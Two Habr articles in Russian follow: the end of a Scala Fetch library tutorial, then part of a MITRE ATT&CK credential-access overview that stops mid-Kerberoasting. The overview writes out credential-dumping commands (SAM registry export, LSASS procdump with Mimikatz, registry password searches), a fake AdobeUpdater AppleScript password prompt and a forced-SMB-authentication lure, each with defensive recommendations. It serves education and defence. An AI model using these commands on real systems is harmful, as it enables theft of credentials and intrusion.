На вход `DocumentSearchExample` получает три репозитория. Это сами сервисы с кодом, который обращается непосредственно к хранилищам данных. Например, там может быть код обращения к БД на Doobie. Далее они передаются в обёртки Fetch — `DocumentInfoSource`, `PersonSource` и `SimilarDocumentSource`, которые позволяют оптимизировать запросы к ним.
Метод `searchDocumentFetch` служит для произведения полнотекстового поиска по запросу `query`. Сам по себе поиск выполняется отдельно от остальных запросов, поэтому для него используется сервис напрямую, без обёртки в Fetch. Сигнатура `search`:
```
def search(query: String): F[FtsResponse]
```
Поэтому метод `liftF` позволяет получить тип `Fetch[F, FtsResponse]`, который можно использовать в `for` наряду с остальными Fetch.
Далее для списка ID запрашиваются данные документа и ID похожих документов. Кортеж элементов Fetch соединён через `tupled`, что позволяет сделать эти вызовы параллельно, ведь они не зависят друг от друга. Наконец, возвращённые в этом вызове значения мапятся в тип `DocumentSearchItem`.
Метод fetchSimilarItems получает ID похожих документов из `similarSource`, а затем — их информацию из метода `documentItemFetch`. В этот же метод обращаемся и при получении данных оригинальных документов. Он получает информацию о документах `DocumentInfo` по ID, а затем и имена авторов, указанных в информации.
Использование свойств монад позволяет композировать множество вызовов в один объект вместо вложенных вроде `Fetch[IO, Fetch[...]]` благодаря методам map и flatMap:
```
similarSource
.fetchElem(id)
.map(_.getOrElse(List.empty[SimilarityItem])) // Fetch
.flatMap {
_.traverse { si =>
documentItemFetch(si.id).map { di => // Fetch
DocumentSimilarItem(di, si.similarity)
}
}
}
```
Для примера реализуем все репозитории на простых коллекциях:
```
private val docInfo = Map(
"1" -> DocumentInfo("1", "Document 1", List(1)),
"2" -> DocumentInfo("2", "Document 2", List(1,2)),
"3" -> DocumentInfo("3", "Document 3", List(3,1)),
"4" -> DocumentInfo("4", "Document 4", List(2,1)),
"5" -> DocumentInfo("5", "Document 5", List(2)),
"6" -> DocumentInfo("6", "Document 6", List(1,3))
)
private val similars = Map(
"1" -> List(SimilarityItem("2", 0.7), SimilarityItem("3", 0.6)),
"2" -> List(SimilarityItem("1", 0.7)),
"3" -> List(SimilarityItem("1", 0.6)),
"4" -> List(),
"5" -> List(SimilarityItem("6", 0.5)),
"6" -> List(SimilarityItem("5", 0.5))
)
private val persons = Map(
1 -> Person(1, "Rick Deckard"),
2 -> Person(2, "Roy Batty"),
3 -> Person(3, "Joe")
)
```
Заметно, что все документы в качестве похожих имеют ссылки друг на друга и пересекающихся авторов. Однако при запуске видно, что каждый документ и автор были запрошены лишь раз:
```
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 2. It is: Some(List(1))
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 4. It is: None
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 3. It is: Some(List(1))
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 1. It is: Some(List(2, 3))
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 6. It is: Some(List(5))
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 5. It is: Some(List(6))
INFO app.searchfetchproto.source.DocumentInfoSource - Document IDs fetching in batch: NonEmptyList(4, 5, 2, 3, 6, 1)
INFO app.searchfetchproto.source.PersonSource - Person IDs fetching in batch: NonEmptyList(1, 2, 3)
```
На самом деле, поиск похожих документов тоже осуществляется параллельно, ведь для него не описано отдельного метода `batch`:
```
[Round 1] 0.12 seconds
[Batch] From `Similar Document Source` with ids List(4, 5, 2, 3, 6, 1) 0.06 seconds
[Batch] From `Document Info Source` with ids List(4, 5, 2, 3, 6, 1) 0.12 seconds
[Round 2] 0.00 seconds
[Batch] From `Persons source` with ids List(1, 2, 3) 0.00 seconds
```
В коде метода `searchDocumentFetch` есть момент:
```
(documentItemFetch(id), fetchSimilarItems(id)).tupled
```
Эти запросы должны выполняться параллельно благодаря `tupled`. И, хотя `fetchSimilarItems` запускает свой собственный `documentItemFetch`, из логов видно, что обращение в сервис информации о документах происходит единожды и всегда после обращения в сервис похожих:
```
[Batch] From `Similar Document Source` with ids List(4, 5, 2, 3, 6, 1) 0.06 seconds
[Batch] From `Document Info Source` with ids List(4, 5, 2, 3, 6, 1) 0.12 seconds
```
Это происходит при незначительной задержке сервиса похожих документов, когда результат первого запроса приходит быстрее, чем начинается следующий запрос. Такой результат используется в следующем запросе и позволяет ещё больше оптимизировать запросы. Если же искусственно повысить время выполнения (например, добавив `Thread.sleep(100)` в сервис), то можно наблюдать такую картину:
```
INFO app.searchfetchproto.source.DocumentInfoSource - Document IDs fetching in batch: NonEmptyList(4, 5, 2, 3, 6, 1)
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 4. It is: None
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 5. It is: Some(List(6))
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 3. It is: Some(List(1))
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 2. It is: Some(List(1))
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 6. It is: Some(List(5))
INFO app.searchfetchproto.source.SimilarDocumentSource - Fetching similar documents for ID: 1. It is: Some(List(2, 3))
INFO app.searchfetchproto.source.DocumentInfoSource - Document IDs fetching in batch: NonEmptyList(5, 2, 3, 6, 1)
[Round 1] 0.13 seconds
[Batch] From `Similar Document Source` with ids List(4, 5, 2, 3, 6, 1) 0.13 seconds
[Batch] From `Document Info Source` with ids List(4, 5, 2, 3, 6, 1) 0.08 seconds
[Round 2] 0.00 seconds
[Batch] From `Document Info Source` with ids List(5, 2, 3, 6, 1) 0.00 seconds
[Batch] From `Persons source` with ids List(1, 2, 3) 0.00 seconds
```
Четвёртый документ не является похожим ни на один из документов, поэтому не запрашивается во время выполнения `fetchSimilarItems`. Поэтому явно видно, что второй запрос относится к методу поиска похожих.
Выводы
------
Использование Fetch позволяет писать чистый композируемый код для эффективного доступа к источникам данных в функциональном стиле. Дополнительные конструкции вроде кэширования, дедупликации, объединения запросов и комбинирования писать не требуются, такой функционал предоставляется самой библиотекой. Благодаря использованию стека Cats, Fetch может быть интегрирована в большое количество существующих программ на Scala и отлично уживается с библиотеками вроде Doobie и fs2.
Аналоги
-------
* ZQuery — судя по описанию, делает всё то же самое, но на стеке ZIO вместо Cats;
* Clump — видимо, предшественник Fetch, заброшенный в 2015;
* Haxl — то же самое на Haskell.
ZQuery и Fetch — практические реализации статьи “There is no Fork: an Abstraction for Efficient, Concurrent, and Concise Data Access” (<https://simonmar.github.io/bib/papers/haxl-icfp14.pdf>), абстрактно описывающей (с привязкой к Хаскеллю) возможность программировать доступ к источникам данных на аппликативных функторах.
Ссылки
------
* Библиотека: <https://github.com/47degrees/fetch>
* Репозиторий с исходниками примеров: <https://github.com/naumen/Scala-Fetch> | https://habr.com/ru/post/512168/ | null | ru | null |
# Изучаем Adversarial Tactics, Techniques & Common Knowledge (ATT@CK). Enterprise Tactics. Часть 6
[Получение учетных данных (Credential Access)](https://attack.mitre.org/tactics/TA0006/)
========================================================================================
**Ссылки на все части:**
[Часть 1. Получение первоначального доступа (Initial Access)](https://habr.com/post/423405/)
[Часть 2. Выполнение (Execution)](https://habr.com/post/424027/)
[Часть 3. Закрепление (Persistence)](https://habr.com/post/425177/)
[Часть 4. Повышение привилегий (Privilege Escalation)](https://habr.com/post/428602/)
[Часть 5. Обход защиты (Defense Evasion)](https://habr.com/post/432624/)
[Часть 6. Получение учетных данных (Credential Access)](https://habr.com/post/433566/)
[Часть 7. Обнаружение (Discovery)](https://habr.com/ru/post/436350/)
[Часть 8. Боковое перемещение (Lateral Movement)](https://habr.com/ru/post/439026/)
[Часть 9. Сбор данных (Collection)](https://habr.com/ru/post/441896/)
[Часть 10 Эксфильтрация или утечка данных (Exfiltration)](https://habr.com/ru/post/447240/)
[Часть 11. Командование и управление (Command and Control)](https://habr.com/ru/post/449654/)
Заполучив учетные данные злоумышленник получает доступ или даже контроль над системой, доменом или служебными (технологическими) учетными записями. Противник, вероятно, будет пытаться заполучить легитимные учетные данные пользовательских и административных учетных записей, чтобы идентифицироваться в системе и получить все разрешения захваченной учетной записи, тем самым усложняя защищающей стороне задачу по обнаружению вредоносной активности. Противник также, при наличии возможности, может создавать учетные записи с целью их последующего использования в атакуемой среде.
*Автор не несет ответственности за возможные последствия применения изложенной в статье информации, а также просит прощения за возможные неточности, допущенные в некоторых формулировках и терминах. Публикуемая информация является свободным пересказом содержания [MITRE ATT&CK](https://attack.mitre.org/wiki/Main_Page).*
### [Манипулирование учетными записями (Account Manipulation)](https://attack.mitre.org/wiki/Technique/T1098)
*Система:* Windows
*Права:* Администратор
*Описание:* Манипулирование учетными записями направлено на подержание определенного уровня прав доступа в атакуемой среде. Манипуляции предполагают изменение разрешений, параметров учетной записи и способа проверки её подлинности, добавление или изменение групп доступа. Действия злоумышленника могут быть направлены на подрыв политик безопасности, таких как срок действия пароля, с целью продления срока жизни скомпрометированных учетных записей. Для создания или управления учетными записями у противника уже должны быть достаточные разрешения в системе или домене.
*Рекомендации по защите:* Используйте многофакторную аутентификацию. Защищайте контроллеры домена, обеспечив ограничения доступа к этим системам. Исключите использование учетных записей администраторов домена в непривилегированных системах и для повседневных операций, которые могут способствовать их компрометации.
### [Bash History](https://attack.mitre.org/wiki/Technique/T1139)
*Система:* Linux, macOS
*Права:* Пользователь
*Описание:* Bash отслеживает команды, выполняемые пользователем с помощью утилиты History. Когда пользователь выходит из системы история сохраняется в файл *~/.bash\_history*. Как правило, этот файл содержит 500 последних команд пользователя. Зачастую, в параметрах команд пользователь указывает имя пользователя и пароль, которые также сохранятся в *~/.bash\_history* при выходе пользователя из системы. Атакующие могут просматривать файлы *~/.bash\_history* различных пользователей системы в надежде заполучить учетные данные.
*Рекомендации по защите:* Существует несколько способов предотвращения записи истории команд в файл *~/.bash\_history*:
• *set +o history* — отключить запись;
• *set -o history* — возобновить запись;
• *unset HISTFILE* — добавление в файл bash\_rc;
• *ln -s /dev/null ~/.bash\_history* — записать историю команд в */dev/null*.
### [Метод грубой силы или полный перебор (Brute Force)](https://attack.mitre.org/wiki/Technique/T1110)
*Система:* Windows, Linux, macOS
*Права:* Пользователь
*Описание:* Противник может применять средства подбора паролей когда учетные данные неизвестны или когда ему не удаётся получить хэш пароля. Противники могут применять техники систематизированного подбора, вычисляя подходящий кэш или используя радужные таблицы. Взлом хэшей обычно осуществляется вне атакуемой системы. Не зная пароль злоумышленники могут пытаться логиниться используя пустое значение пароля либо значение из списка возможных паролей. В зависимости от парольной политики такие действия могут привести к многочисленным ошибками аутентификации и блокировке учетной записи, поэтому противник может применять так называемое распыление паролей (password sraying), суть которого заключается в переборе наиболее популярных или вероятных паролей с разными учетными записями. Это уменьшает вероятность блокировки, которая возникает при переборе множества паролей только с одной учетной записью.
*Рекомендации по защите:* Применяйте политики блокирования учетных записей после определенного количества неудачных попыток входа в систему. Рассмотрите возможность применения многофакторной аутентификации. Следуйте рекомендациям по предотвращению несанкционированного доступа к действующим учетным записям *(см. рекомендации по защите к технике «Действующие учетные записи ([Valid accounts](https://attack.mitre.org/wiki/Technique/T1078)))*.
### [Дампинг учетных данных (Credential Dumping)](https://attack.mitre.org/wiki/Technique/T1003)
*Система:* Windows, Linux, macOS
*Права:* Администратор, System, root
*Описание:* Дампинг учетных данных (*англ. dumping — »захоронение отходов"*) — процесс получения логинов и паролей, как правило, в форме хэша или текстового пароля из операционной системы или программного обеспечения. Инструменты для дампинга учетных данных могут использоваться как злоумышленниками, так и тестировщиками безопасности.
**Windows**
**SAM (Диспетчер учетных записей)**
SAM — это база данных локальных учетных записей хоста. Как правило, в SAM хранятся учетные записи, которые показывает команда "*net user*". Для чтения SAM требуется доступ системного уровня. Существует множество инструментов для извлечения данных SAM из памяти:
• *pwdumpx.exe*;
• *gsecdump*;
• *Mimikatz*;
• *secretdump.py*.
Файл SAM можно извлечь из реестра с помощью утилиты REG:
`reg save HKLM\sam sam;
reg save HKLM\system system.`
Далее *Creddump7* поможет извлечь хэши из базы данных SAM.
*Примечание:* *Rid 500* — это учетная запись встроенного локального администратора. *Rid 501* — гостевая учетная запись. Учетные записи пользователей начинаются с *Rid 1000+*.
**Кэшированные учетные данные (DCC2)**
Domain Cached Credentials v2 (DCC2) — это кэш учетных данных, используемый в Windows Vista и более поздних версиях для аутентификации пользователя, когда контроллер домена недоступен. Количество кэшированных учетных записей может быть индивидуально для каждой системы. Этот хэш не подвержен атакам типа *pass-the-hash*. Для извлечения файла SAM из памяти применяются сл. инструменты:
• *pwdumpx.exe*;
• *gsecdump*;
• *Mimikatz*;
• *secretdump.py*
В качестве альтернативы также могут использоваться утилита Reg или Creddump7. Кэширование учетных данных в Windows Vista выполняется с использованием [*PBKDF2*](https://ru.wikipedia.org/wiki/PBKDF2) (стандарт формирования ключа из пароля).
**Local Security Authority (LSA) Secrets**
LSA Secrets — это хранилища кэшированных учетных, в которых система хранит учетные данные, включая пароли пользователей, учетных записей служб, пароли InternetExpolorer, SQL и другие приватные данные, например ключи шифрования кэшированных доменных паролей. Имея разрешения уровня System можно получить доступ к LSA Secrets, хранящихся в реестре:
*HKEY\_LOCAL\_MACHINE\SECURITY\Policy\Secrets*.
Когда сервисы стартуют в контексте локальной или доменной учетной записи их пароли хранятся в реестре. Если включен автоматический вход в систему, приватные данные учетной записи так же хранятся в реестре. По аналогии с предыдущими методами дампинга для атаки на LSA Secret применяются всё те же инструменты:
• *pwdumpx.exe*;
• *gsecdump*;
• *Mimikatz*;
• *secretdump.py*
Файл SAM можно извлечь из реестра с помощью утилиты REG, а учетные данные с помощью Creddump7. Извлеченные из LSA Secret пароли закодированы в UTF-16, т.е. открытым текстом. В Windows 10 применяются дополнительные средства защиты LSA Secret.
**NTDS from Domain Controller**
Для аутентификации и авторизации в AD хранится информация о членах домена — устройствах и пользователях. База данных AD по умолчанию хранится на контроллере домена в файле *%SystemRoot%\NTDS\Ntds.dit*.
Для извлечения хэшей из базы данных AD применяются следующие методы и инструменты:
*• Volume Shadow Copy (теневая копия тома);
• ntdsutil.exe;
• secretdump.py;
• Invoke-NinjaCopy*.
**Group Policy Preference (GPP) Files**
GPP или предпочтения групповой политики — это XML файлы, описывающие различные параметры доменных политик, например, подключение сетевого диска в контексте определённой учетной записи или предустановка локальных учетных записей в доменных системах. Такие файлы могут содержать учетные данные. Групповые политики хранятся в SYSVOL контроллера домена, поэтому любой пользователь может прочитать файлы GPP и попытаться дешифровать содержащиеся в них пароли с помощью сл. инструментов:
*• Metasploit (post/windows/gather/credentials/gpp);
• Get-GPPPassword;
• gpprefdecrypt.py.*
Для идентификации всех XML-файлов на ресурсе SYSVOL можно использовать команду:
`dir /s *.xml`.
**Service Principal Names (SPNs)**
*см. технику [Kerberoasting](https://attack.mitre.org/techniques/T1208/)*
**Plaintext Credentials**
После того как пользователь вошел в систему генерируется множество учетных данных, которые сохраняются в память процесса Local Authority Subsystem Service (LSASS). Эти учетные данные могут быть собраны администратором или System.
SSPI (Security Support Provider Interface) предоставляет общий интерфейс для нескольких Security Support Providers (SSPs). SSP — программные модули (DLL), содержащие одну или несколько схем аутентификации и криптографии, которые загружаются в процесс LSASS при запуске системы.
Некоторые SSP могут быть использованы для получения учетных данных:
• Msv: интерактивный вход в систему, вход в качестве пакетного задания (batch logon), например, запуск заданий службы планировщика заданий, вход в систему в качестве службы осуществляется через пакет аутентификации MSV;
• Wdigest: Digest Authentication Protocol разработан для аутентификации в сети при использовании HTTP и SASL (Simple Authentication Security Layer);
• Kerberos: обеспечивает доменную аутентификацию в Windows 2000 и более поздних версиях;
• CredSSP: SSO (Single Sign-On — единый вход позволяет пользователям пройти проверку подлинности один раз и получать доступ к ресурсам без ввода учетных данных) и Network Level Authentication (применяется для аутентификации в Remote Desktop Services).
Инструменты для получения учетных данных:
• *Windows credential Editor;
• Mimikatz.*
Дамп процесса LSASS может быть сохранен для последующего анализа в другой системе.
На целевом хосте выполняется команда:
`procdump -ma lsass.exe lsass_dump`
Далее, в другой системе запускается Mimikatz:
`securlsa::Minidump lsassdump.dmp
sekurelsa::logonPasswords`.
**DCSync**
DCSync — разновидность дампинга учетных данных с контроллера домена. Злоупотребляя API-интерфейсом контроллера домена вместо использования вредоносного кода, который может быть опознан, злоумышленник может имитировать процесс репликации с удаленного контроллера домена. Члены групп Administrators, Domain Admins, Enterprise Admins или учетные записи компьютеров могут запускать DCSync для получения парольной информации из AD, которая может включать хэши доменных аккаунтов таких как KRBTGT (Key Distribution Center Service Account, использовалась в Windows 2000 для работы службы Key Distribution Center) и Administrator. Затем хэши могут быть использованы для создания Golden Ticket и проведения атаки Pass the Ticket или изменения пароля в рамках манипуляций с аккаунтами (Account Manipulation). Функциональность DСSync включена в модуль lsadump, входящий в состав Mimikatz. Lsadump также поддерживает NetSync для выполнения репликации по устаревшему протоколу.
**Linux
Файловая система Proc**
Proc — это специальная файловая система в Unix-подобных ОС, которая представляет информацию о процессах и другую системную информацию в виде иерархической псевдофайловой структуры (файлы существуют не на диске, а в оперативной памяти), которая действует как интерфейс для взаимодействия с пространством ядра ОС. Процессы, запущенные с правами root, могут выполнять очистку памяти других запущенных программ. Если программа хранит в своей памяти пароли в открытом виде или в виде хэш, то эти значения могут быть извлечены из \Proc для дальнейшего использования или попытки восстановления пароля из хэш. Gnome Keyring, sshd и Apache используют память для хранения таких аутентификационных «артефактов». Вышеописанная функциональность реализована в инструменте с открытым кодом — MimiPenguin, который выгружает память процесса и затем ищет пароли и хэши в текстовых строках и regex-шаблонах.
*Рекомендации по защите:*
**Windows**
Пытайтесь отслеживать доступ к LSASS и SAM, осуществляемый разрешенными в защищаемой системе инструментами. Ограничивайте права учетных записей в различных системах и сегментах сети, чтобы предотвратить возможность продвижения злоумышленника по защищаемой сети в случае получения паролей и хэшей. Убедитесь, что учетные данные локального администратора имеют сложные и уникальные пароли во всех системах и сегментах сети. Не помещайте учетные записи пользователей или администраторов домена в группы локальных администраторов в различных системах, т.к. это эквивалентно тому, что у всех администраторов есть один и тот же пароль. Следуйте [рекомендациям Microsoft по разработке и администрированию корпоративной сети](https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach). В Windows 8.1 и Windows Server 2012 R2 включите защиту процесса LSA (Protected Process Light).
Идентифицируйте и блокируйте потенциально-опасное и вредоносное программное обеспечение, которое может быть использовано для получения дампов учетных данных.
В Windows 10 для защиты LSA Secrets применяется новый механизм — Credential Guard в Защитнике Windows. С его появлением процесс LSA не хранит приватные данные в памяти, а взаимодействует с новым компонентом — изолированным процессом, который отвечает за хранение и защиту LSA Secrets. Данные, хранящиеся в изолированном процессе защищены с помощью виртуализации и недоступны для остальной части операционной системы. LSA взаимодействует с изолированным процессом с помощью удаленных вызовов процедур (RPC). Credential Guard не настроен по умолчанию и имеет требования к аппаратному и программному обеспечению. Однако, он также не является абсолютной защитой от всех форм дампинга учетных данных.
Управляйте доступом Replicating Directory Changes и другими разрешениями, связанными с репликацией контроллера домена. Рассмотрите возможность отключения или ограничения NTLM-траффика. Рассмотрите необходимость мониторинга процессов и аргументов команд запуска программ, которые могут выступать индикаторами дампинга учетных данных. Например, инструменты удаленного доступа могут содержать такие средства как Mimikatz или PowerShell-сценарии типа Invoke-Mimikatz PowerSploit.
Контролируйте журналы репликации контроллеров домена на предмет незапланированных репликаций или запросов на репликацию. Также отслеживайте трафик, содержащий запросы на репликацию от сторонних IP-адресов.
**Linux**
Для получения паролей и хэшей из памяти, процесс должен открыть в системе файл */proc/PID/maps*, где *PID* — уникальный pid процесса. Инструмент мониторинга AuditD может использоваться для выявления враждебных процессов, открывающих этот файл и предупреждая о pid, имени процесса и других аргументах контролируемой программы.
### [Учетные данные в файлах (Credentials in Files)](https://attack.mitre.org/wiki/Technique/T1081)
*Система:* Windows, Linux, macOS
*Права:* Администратор, System, root
*Описание:* Злоумышленники могут искать в локальных файловых системах и удаленных общих папках файлы, содержащих пароли. Это могут быть файлы, созданные пользователями для хранения собственных учетных данных, общие хранилища учетных данных группы людей, файлы конфигурации, содержащие пароли для систем или служб, файлы исходного кода и двоичные файлы, содержащие пароли.
Используя инструменты дампинга учетных данных пароли также можно извлекать из резервных копий, образов и снапшотов виртуальных машин. Кроме того пароли могут содержаться в файлах настроек групповых политик (GPP), хранящихся на контроллере домена.
*Рекомендации по защите:* Применяйте организационные меры, запрещающие хранение паролей в файлах. Убедитесь, что разработчики и системные администраторы знают о рисках, связанных с хранением паролей в открытом виде в файлах конфигураций ПО. Проводите периодический мониторинг наличия в вашей системе файлов, содержащих пароли с их последующим удалением. Ограничивайте общий доступ к файлам в определенных каталогах выдавая разрешения только нужным пользователям. Удалите файлы GPP, содержащие уязвимые настройки групповых политик.
### [Учетные данные в Реестре (Credentials in Registry)](https://attack.mitre.org/wiki/Technique/T1214)
*Система:* Windows
*Права:* Пользователь, администратор
*Описание:* Злоумышленники могут искать в реестре Windows учетные данные и пароли, которые хранятся там для использования программами или службами, иногда учетные данные хранятся для автоматического входа. Примеры команд для поиска парольной информации:
`reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s`
*Рекомендации про защите:* Не храните учетные данные в реестре. Проводите мониторинг реестра на предмет наличия учетных данных. При необходимости хранения учетных данных ПО должно обеспечивать ограничение их разрешений в целях предотвращения возможности злоупотребления этими данными.
### [Эксплойты для получения учетных данных (Exploitation for Credential Access)](https://attack.mitre.org/wiki/Technique/T1212)
*Система:* Windows, Linux, macOS
*Права:* Пользователь
*Описание:* Ошибки, допущенные разработчиками механизмов аутентификации и авторизации, могут быть причиной наличия в ПО уязвимостей с помощью которых злоумышленник может получить несанкционированный доступ к учетным данным. Например, в бюллетене [MS14-068](https://support.microsoft.com/ru-kz/help/3011780/ms14-068-vulnerability-in-kerberos-could-allow-elevation-of-privilege) описана уязвимость в протоколе Kerberos, с помощью которой злоумышленник может подделать билеты Kerberos используя права доменного пользователя. Эксплуатация уязвимостей для получения учетных данных может также применяться для повышения привилегий.
*Рекомендации по защите:* Регулярно обновляйте ПО используя централизованное управление установкой обновлений для рабочих станций и серверов предприятия. Разработайте и внедрите процесс выявления и анализа киберугроз в рамках которого будут определяться актуальные для вашего предприятия угрозы. Применяйте песочницы, средства виртуализации и микросегментации чтобы затруднить возможность продвижения злоумышленника с помощью эксплуатации уязвимостей. В ОС Windows доступны средства выявления активности, связанной с эксплуатацией уязвимостей, речь идёт о Windows Defender Exploit Guard (WDEG) и Enchanced Mitigation Experience Toolkit (EMET). Ещё один из способов предотвращения эксплуатации уязвимостей — это применение средств Control-flow integrity (CFI). CFI — это общее название методов, направленные на ограничение возможных путей исполнения программы в пределах заранее предсказанного графа потока управления. Однако, многие методы защиты могут не сработать, если вредоносное ПО разработано для уколенения от защитных мер, это также зависит от архитектуры анализируемой программы и её двоичных файлов.
### [Форсированная аутентификация (Forced Authentication)](https://attack.mitre.org/wiki/Technique/T1187)
*Система:* Windows
*Права:* Пользователь
*Описание:* Для аутентификации и коммуникации между windows-системами в рамках совместного использования ресурсов и сетевых файловых папок обычно используется протокол Server Message Block (SMB). Когда Windows пытается подключиться к удаленной системе по SMB, она автоматически пытается аутентифицировать пользователя и отправляет учетные данные текущего пользователя в удаленную систему, поэтому пользователю не нужно вводить учетные данные для получения доступа к сетевым ресурсам, что характерно для корпоративной среды. В качестве резервного протокола совместного использования ресурсов, в случае отказа инфраструктуры SMB, может использоваться протокол Web Distributed Authoring and Versioning (WebDAV), который является расширением протокола HTTP и обычно работает через TCP-порты 80 и 443.
Вызывая принудительную аутентификацию по SMB, злоумышленники могут злоупотреблять поведением атакуемой системы во время её подключения к удаленной системе и получать хэши учетных записей. С помощью техник фишинга противник может отправить жертве ссылку на контролируемый внешний ресурс или разместить специальный файл на рабочем столе или на общедоступном ресурсе. Когда пользовательская система обратится к ненадежному ресурсу она попытается выполнить аутентификацию и отправить по по протоколу SMB на удаленный сервер хешированные учетные данные текущего пользователя. Получив хэш злоумышленник может выполнить офлайн-брутфорс и получить учетные данные в открытом виде или использовать их для атак Pass-the-Hash.
Рассмотрим наиболее популярные способы вызова принудительной SMB-аутентификации:
• Фишинговое вложение, содержащее документ с активным содержимым, которое автоматически загружается при открытии документа. Документ может включать запрос типа file[:]//[remote address]/Normal.dotm/, который инициирует аутентификацию по SMB.
• Модифицированный файл .lnk или .SCF (Windows Explorer Command File), содержащий в свойствах вместо пути к значку файла, внешнюю ссылку \[remote address]\pic.png. Таким образом, система будет пытаться загрузить значок файла и откроет ссылку.
*Рекомендации по защите:* Блокируйте исходящий SMB-трафик, направленный за пределы корпоративной сети, путем фильтрации и блокирования TCP-портов 139, 445 и UDP-порта 137. Фильтруйте и блокируйте выход WebDAV-трафика за пределы корпоративной сети. Если доступ к внешним ресурсам через SMB и WebDAV необходим, то ограничивайте внешние подключения с помощью белых списков.
### [Hooking (Зацепление)](https://attack.mitre.org/wiki/Technique/T1179)
*Система:* Windows
*Права:* Администратор, System
*Описание:* API функции Windows обычно хранятся в DLL-библиотеках. Техника перехвата заключается в перенаправлении вызовов API-функций посредством:
• Hook-процедуры — это встроенные в ОС процедуры, которые выполняют код при вызове различных событий, например, нажатие клавиш или перемещение мыши;
• Модификации адресной таблицы (IAT), в которой хранятся указатели на API-функции. Это позволит «обмануть» атакуемое приложение, заставив его запустить вредоносную функцию;
• Непосредственного изменения функции (сплайсинг), в ходе которого меняются первые 5 байт функции, вместо которых вставляется переход на вредоносную или иную функцию, определенную злоумышленником.
Подобно инъекциям, злоумышленники могут использовать hooking для исполнения вредоносного кода, маскировки его выполнения, доступа к памяти атакуемого процесса и повышения привилегий. Злоумышленники могут захватывать вызовы API, включающие параметры, содержащие аутентификационные данные.
Hooking обычно применяется руткитами для скрытия вредоносной активности в системе.
*Рекомендации по защите:* Перехват событий в ОС является частью нормальной работы системы, поэтому какое либо ограничение данной функциональности может негативно влиять на стабильность работы законных приложений, например антивирусного ПО. Усилия по предотвращению применения техник перехвата необходимо сосредоточить на более ранних этапах цепочки killchain. Обнаружить вредоносную hooking-активность можно с помощью мониторинга вызовов функций SetWindowsHookEx и SetWinEventHook, использования детекторов руткитов, анализа аномального поведения процессов, например, открытия сетевых подключений, чтение файлов и т.п.
### [Захват ввода (Input Capture)](https://attack.mitre.org/wiki/Technique/T1056)
*Система:* Windows, Linux, macOS
*Права:* Администратор, System
*Описание:* Злоумышленники могут применять средства захвата пользовательского ввода с целью получения учетных данных действующих аккаунтов.
Кейлоггинг — это наиболее распространенный тип захвата пользовательского ввода, включающий множество различных способов перехвата нажатий клавиш, однако существуют и другие методы получения целевой информации такие как вызов UAC-запроса или написание оболочки для поставщика учетных данных по умолчанию (Windows Credential Providers). Кейлоггинг является наиболее распространенным способом кражи учетных данных, когда применение техник дампинга учетных данных неэффективно и злоумышленник вынужден оставаться пассивным в течение определенного периода времени.
В целях сбора учетных данных пользователей злоумышленник также может установить коды на внешних корпоративных порталах, например на странице входа через VPN. Это возможно после компрометации портала или сервиса посредством получения легитимного административного доступа, который в свою очередь мог быть организован для обеспечения резервного доступа на этапах получения первоначального доступа и закрепления в системе.
*Рекомендации по защите:* Обеспечьте выявление и блокирование потенциально-опасного и вредоносного ПО с помощью средств подобных AppLocker или политик ограничения использования ПО. Предпринимайте меры, направленные на уменьшение ущерба в случае получения злоумышленниками учетных данных.
Следуйте рекомендациям Microsoft по разработке и администрированию корпоративной сети (https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach).
Кейлогеры могут изменять реестр и устанавливать драйверы. Обычно используются API функции SetWindowsHook, GetKeyState, GetAsyncKeyState. Одни только вызовы API-функций не могут являться индикаторами кейлоггинга, но в совокупности с анализом изменений реестра, обнаружения установки драйверов и появлением новых файлов на диске могут свидетельствовать о вредоносной активности. Отслеживайте появление в реестре пользовательских поставщиков учетных данных (Custom Credential Provider):
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers`.
### [Запрос ввода (Input Prompt)](https://attack.mitre.org/wiki/Technique/T1141)
*Система:* macOS
*Права:* Пользователь
*Описание:* При выполнении программ, требующих повышения привилегий, операционная система обычно запрашивает у пользователя соответствующие учетные данные. Злоумышленники могут имитировать эту функцию, чтобы запрашивать ввод учетных данных с помощью стандартной формы запроса. Эта форма запроса учетных данных может быть вызвана с помощью AppleScript:
`set thePassword to the text returned of (display dialog "AdobeUpdater needs permission to check for updates. Please authenticate." default answer "")`
Злоумышленник будет вызывать запрос на ввод учетных данных имитируя нормальное поведение ОС, например, поддельный установщик или пакет удаления вредоносных программ требует подтверждения соотвествующих полномочий.
*Рекомендации по защите:* Проводите обучение пользователей, чтобы они знали какие программы могут запрашивать разрешение и почему. Настройте обязательную проверку запускаемых сценариев AppleScript на наличие в них подписи доверенного разработчика.
### [Kerberoasting](https://attack.mitre.org/wiki/Technique/T1208)
*Система:* Windows
*Права:* Пользователь
*Описание:* Каждый экземпляр службы имеет уникальный идентификатор — Service Principal Name (SPN), который используется для проверки подлинности в Kerberos. SPN должен быть связан только с одной учетной записью, установщик службы записывает SPN в свойства учетной записи в AD.
